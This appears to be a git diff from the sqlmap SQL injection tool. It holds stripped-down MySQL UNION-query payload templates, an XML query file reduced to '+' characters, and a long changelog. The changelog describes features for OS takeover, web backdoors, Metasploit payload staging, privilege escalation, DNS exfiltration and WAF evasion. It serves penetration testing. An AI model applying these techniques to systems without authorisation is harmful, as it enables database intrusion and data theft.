+ + + + MySQL UNION query ([RANDNUM]) - 31 to 40 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 31-40 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([CHAR]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 41-50 + + + + +
+ MySQL +
+ + + + MySQL UNION query (NULL) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 41-50 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([RANDNUM]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 41-50 + + + + +
+ MySQL +
+ + + diff --git a/data/xml/queries.xml b/data/xml/queries.xml new file mode 100644 index 00000000000..5196459cc33 --- /dev/null +++ b/data/xml/queries.xml @@ -0,0 +1,1846 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + /> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/AUTHORS b/doc/AUTHORS index d3758d676d3..300711a3a14 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,7 +1,7 @@ -Bernardo Damele Assumpcao Guimaraes (@inquisb) - - -Miroslav Stampar (@stamparm) - - -You can contact both developers by writing to dev@sqlmap.org +Bernardo Damele Assumpcao Guimaraes (@inquisb) + + +Miroslav Stampar (@stamparm) + + +You can contact both developers by writing to dev@sqlmap.org diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md new file mode 100644 index 00000000000..dada8fb47e0 --- /dev/null +++ b/doc/CHANGELOG.md @@ -0,0 +1,418 @@ +# Version 1.10 (2026-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1) + +# Version 1.9 (2025-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) + +# Version 1.8 (2024-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) + +# Version 1.7 (2023-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + +# Version 1.6 (2022-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1) + +# Version 1.5 (2021-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1) + +# Version 1.4 (2020-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) + +# Version 1.3 (2019-01-05) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1) + +# Version 1.2 (2018-01-08) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1) + +# Version 1.1 (2017-04-07) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1) + +# Version 1.0 (2016-02-27) + +* Implemented support for automatic decoding of page content through detected charset. +* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). +* Major improvements to program stabilization based on user reports. +* Added new tampering scripts avoiding popular WAF/IPS mechanisms. +* Fixed major bug with DNS leaking in Tor mode. +* Added wordlist compilation made of the most popular cracking dictionaries. +* Implemented multi-processor hash cracking routine(s). +* Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method. +* Old resume files are now deprecated and replaced by faster SQLite based session mechanism. +* Substantial code optimization and smaller memory footprint. +* Added option `-m` for scanning multiple targets enlisted in a given textual file. +* Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. +* Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. +* Added option `--host` for manually setting HTTP Host header value. +* Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. +* Added option `--skip` for skipping tests for given parameter(s). +* Added switch `--titles` for comparing pages based only on their titles. +* Added option `--charset` for forcing character encoding used for data retrieval. +* Added switch `--check-tor` for checking if Tor is used properly. +* Added option `--crawl` for multithreaded crawling of a given website starting from the target url. +* Added option `--csv-del` for manually setting delimiting character used in CSV output. +* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. +* Added switch `--smart` for conducting through tests only in case of positive heuristic(s). +* Added switch `--check-waf` for checking of existence of WAF/IPS protection. +* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. +* Added switch `--count` to count the number of entries for a specific table or all database(s) tables. +* Major improvements to switches `--tables` and `--columns`. +* Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof. +* Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header. +* Added switch `-a` to enumerate all DBMS data. +* Added option `--alert` to run host OS command(s) when SQL injection is found. +* Added option `--answers` to set user answers to asked questions during sqlmap run. +* Added option `--auth-file` to set HTTP authentication PEM cert/private key file. +* Added option `--charset` to force character encoding used during data retrieval. +* Added switch `--check-tor` to force checking of proper usage of Tor. +* Added option `--code` to set HTTP code to match when query is evaluated to True. +* Added option `--cookie-del` to set character to be used while splitting cookie values. +* Added option `--crawl` to set the crawling depth for the website starting from the target URL. +* Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`). +* Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token. +* Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token. +* Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`). +* Added option `--dbms-cred` to set the DBMS authentication credentials (user:password). +* Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies. +* Added switch `--disable-coloring` to disable console output coloring. +* Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s). +* Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`). +* Added option `--eval` for setting the Python code that will be evaluated before the request. +* Added switch `--force-ssl` to force usage of SSL/HTTPS. +* Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval. +* Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`). +* Added switch `-hh` for showing advanced help message. +* Added option `--host` to set the HTTP Host header value. +* Added switch `--hostname` to turn on retrieval of DBMS server hostname. +* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. +* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection. +* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). +* Added switch `--invalid-bignum` for usage of big numbers while invalidating values. +* Added switch `--invalid-logical` for usage of logical operations while invalidating values. +* Added switch `--invalid-string` for usage of random strings while invalidating values. +* Added option `--load-cookies` to set the file containing cookies in Netscape/wget format. +* Added option `-m` to set the textual file holding multiple targets for scanning purposes. +* Added option `--method` to force usage of provided HTTP method (e.g. `PUT`). +* Added switch `--no-cast` for turning off payload casting mechanism. +* Added switch `--no-escape` for turning off string escaping mechanism. +* Added option `--not-string` for setting string to be matched when query is evaluated to False. +* Added switch `--offline` to force work in offline mode (i.e. only use session data). +* Added option `--output-dir` to set custom output directory path. +* Added option `--param-del` to set character used for splitting parameter values. +* Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing). +* Added option `--proxy-file` to set file holding proxy list. +* Added switch `--purge-output` to turn on safe removal of all content(s) from output directory. +* Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run. +* Added option `--safe-post` to set POST data for sending to safe URL. +* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL. +* Added option `--skip` to skip testing of given parameter(s). +* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. +* Added switch `--skip-urlencode` to skip URL encoding of payload data. +* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection. +* Added switch `--smart` to conduct thorough tests only if positive heuristic(s). +* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). +* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. +* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). +* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`). +* Added switch `--titles` to turn on comparison of pages based only on their titles. +* Added option `--tor-port` to explicitly set Tor proxy port. +* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). +* Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection. +* Added option `--where` to set `WHERE` condition to be used during the table dumping. +* Added option `-X` to exclude DBMS database table column(s) from enumeration. +* Added option `-x` to set URL of sitemap(.xml) for target(s) parsing. +* Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`). + +# Version 0.9 (2011-04-10) + +* Rewritten SQL injection detection engine. +* Support to directly connect to the database without passing via a SQL injection, option `-d`. +* Added full support for both time-based blind SQL injection and error-based SQL injection techniques. +* Implemented support for SQLite 2 and 3. +* Implemented support for Firebird. +* Implemented support for Microsoft Access, Sybase and SAP MaxDB. +* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. +* Added support to tamper injection data with option `--tamper`. +* Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. +* Added support to enumerate roles on Oracle, `--roles` switch. +* Added support for SOAP based web services requests. +* Added support to fetch unicode data. +* Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`. +* Implemented several optimization switches to speed up the exploitation of SQL injections. +* Support to test and inject against HTTP Referer header. +* Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. +* Implemented feature to speedup the enumeration of table names. +* Support for customizable HTTP(s) redirections. +* Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. +* Support to parse and test forms on target url, switch `--forms`. +* Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. +* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. +* Added safe URL feature, `--safe-url` and `--safe-freq`. +* Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. +* Implemented few other features and switches. +* Over 100 bugs fixed. +* Major code refactoring. +* User's manual updated. + +# Version 0.8 (2010-03-14) + +* Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. +* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. +* Support for takeover features on PostgreSQL 8.4. +* Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. +* Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. +* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. +* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. +* Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. +* Updated active fingerprint for PostgreSQL 8.4. +* Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. +* Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. +* Support for Certificate authentication, `--auth-cert` option added. +* Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. +* Added option `-r` to load a single HTTP request from a text file. +* Added switch `--ignore-proxy` to ignore the system default HTTP proxy. +* Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`. +* Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. +* Major bug fix and enhancements to the multi-threading (`--threads`) functionality. +* Fixed URL encoding/decoding of GET/POST parameters and Cookie header. +* Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. +* Major bugs fixed. +* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. +* Major code cleanup. +* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. +* Updated user's manual. +* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. + +# Version 0.8 release candidate (2009-09-21) + +* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. +* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. +* Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. +* Added options for MySQL and PostgreSQL to inject custom user-defined functions. +* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. +* Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. +* Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. +* Minor bugs fixed. +* Major code refactoring. + +# Version 0.7 (2009-07-25) + +* Adapted Metasploit wrapping functions to work with latest 3.3 development version too. +* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. +* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. +* Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). +* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. +* Major bug fix to sql-query/sql-shell features. +* Major bug fix in `--read-file` option. +* Major silent bug fix to multi-threading functionality. +* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. +* Fixed MySQL 'comment injection' version fingerprint. +* Fixed basic Microsoft SQL Server 2000 fingerprint. +* Many minor bug fixes and code refactoring. + +# Version 0.7 release candidate (2009-04-22) + +* Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; +* Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; +* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; +* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; +* Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; +* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; +* Speed up the inference algorithm by providing the minimum required charset for the query output; +* Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; +* Many minor bug fixes, minor enhancements and layout adjustments. + +# Version 0.6.4 (2009-02-03) + +* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; +* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; +* Major speed increase in DBMS basic fingerprint; +* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; +* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; +* Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; +* Minor layout adjustment to the `--update` output; +* Increased default timeout to 30 seconds; +* Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; +* Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; +* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; +* Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; +* Updated documentation. + +# Version 0.6.3 (2008-12-18) + +* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; +* Major enhancement to support Partial UNION query SQL injection technique too; +* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; +* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; +* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; +* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; +* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; +* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; +* Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; +* Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; +* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; +* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; +* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; +* Minor improvements to sqlmap Debian package files; +* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; +* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; +* Major bug fix to correctly enumerate columns on Microsoft SQL Server; +* Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; +* Minor bug fix to correctly dump table entries when the column is provided; +* Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; +* Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; +* Increased default output level from 0 to 1; +* Updated documentation. + +# Version 0.6.2 (2008-11-02) + +* Major bug fix to correctly dump tables entries when `--stop` is not specified; +* Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; +* Major bug fix when the request is POST to also send the GET parameters if any have been provided; +* Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; +* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; +* Minor bug fix in MySQL comment injection fingerprint technique; +* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; +* Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; +* Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; +* More user-friendly warning messages. + +# Version 0.6.1 (2008-08-20) + +* Major bug fix to blind SQL injection bisection algorithm to handle an exception; +* Added a Metasploit Framework 3 auxiliary module to run sqlmap; +* Implemented possibility to test for and inject also on LIKE statements; +* Implemented `--start` and `--stop` options to set the first and the last table entry to dump; +* Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; +* Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; +* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; +* Minor bug fix to correctly handle parameters' value with `%` character. + +# Version 0.6 (2008-09-01) + +* Complete code refactor and many bugs fixed; +* Added multithreading support to set the maximum number of concurrent HTTP requests; +* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; +* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; +* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; +* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; +* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; +* Created sqlmap .exe (Windows) portable executable; +* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; +* Improved automatic check for parenthesis when testing and forging SQL query vector; +* Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; +* Implemented support for HTTPS requests over HTTP(S) proxy; +* Added a check to handle NULL or not available queries output; +* More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; +* Improved XML files structure; +* Implemented the possibility to change the HTTP Referer header; +* Added support to resume from session file also when running with inband SQL injection attack; +* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; +* Added a check to assure that the provided string to match (`--string`) is within the page content; +* Fixed various queries in XML file; +* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; +* Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function; +* Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable; +* Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic; +* Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires; +* Added support to inject also on Set-Cookie parameters; +* Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`; +* Renamed some command line options; +* Added a conversion library; +* Added code schema and reminders for future developments; +* Added Copyright comment and $Id$; +* Updated the command line layout and help messages; +* Updated some docstrings; +* Updated documentation files. + +# Version 0.5 (2007-11-04) + +* Added support for Oracle database management system +* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; +* Added support to extract database users password hash on Microsoft SQL Server; +* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; +* Added support for SQL injection on HTTP Cookie and User-Agent headers; +* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); +* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; +* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; +* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); +* Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; +* Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; +* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; +* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; +* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); +* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; +* More minor layout enhancements in some libraries; +* Renamed DMBS plugins; +* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; +* Updated all documentation files. + +# Version 0.4 (2007-06-15) + +* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; +* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; +* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); +* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); +* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; +* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; +* Improved logging functionality: passed from banal 'print' to Python native logging library; +* Added support for more than one parameter in `-p` command line option; +* Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); +* Added the command line option `--remote-dbms` to manually specify the remote DBMS; +* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; +* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); +* Added support to specify the database table column to enumerate (`-C COL`); +* Added inband SQL injection (UNION query) support (`--union-use`); +* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; +* Reviewed the directory tree structure; +* Split lib/common.py: inband injection functionalities now are moved to lib/union.py; +* Updated documentation files. + +# Version 0.3 (2007-01-20) + +* Added module for MS SQL Server; +* Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check; +* Added PostgreSQL dbms active fingerprint; +* Added support for string match (`--string`); +* Added support for UNION check (`--union-check`); +* Removed duplicated code, delegated most of features to the engine in common.py and option.py; +* Added support for `--data` command line argument to pass the string for POST requests; +* Added encodeParams() method to encode url parameters before making http request; +* Many bug fixes; +* Rewritten documentation files; +* Complete code restyling. + +# Version 0.2 (2006-12-13) + +* complete refactor of entire program; +* added TODO and THANKS files; +* added some papers references in README file; +* moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; +* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes 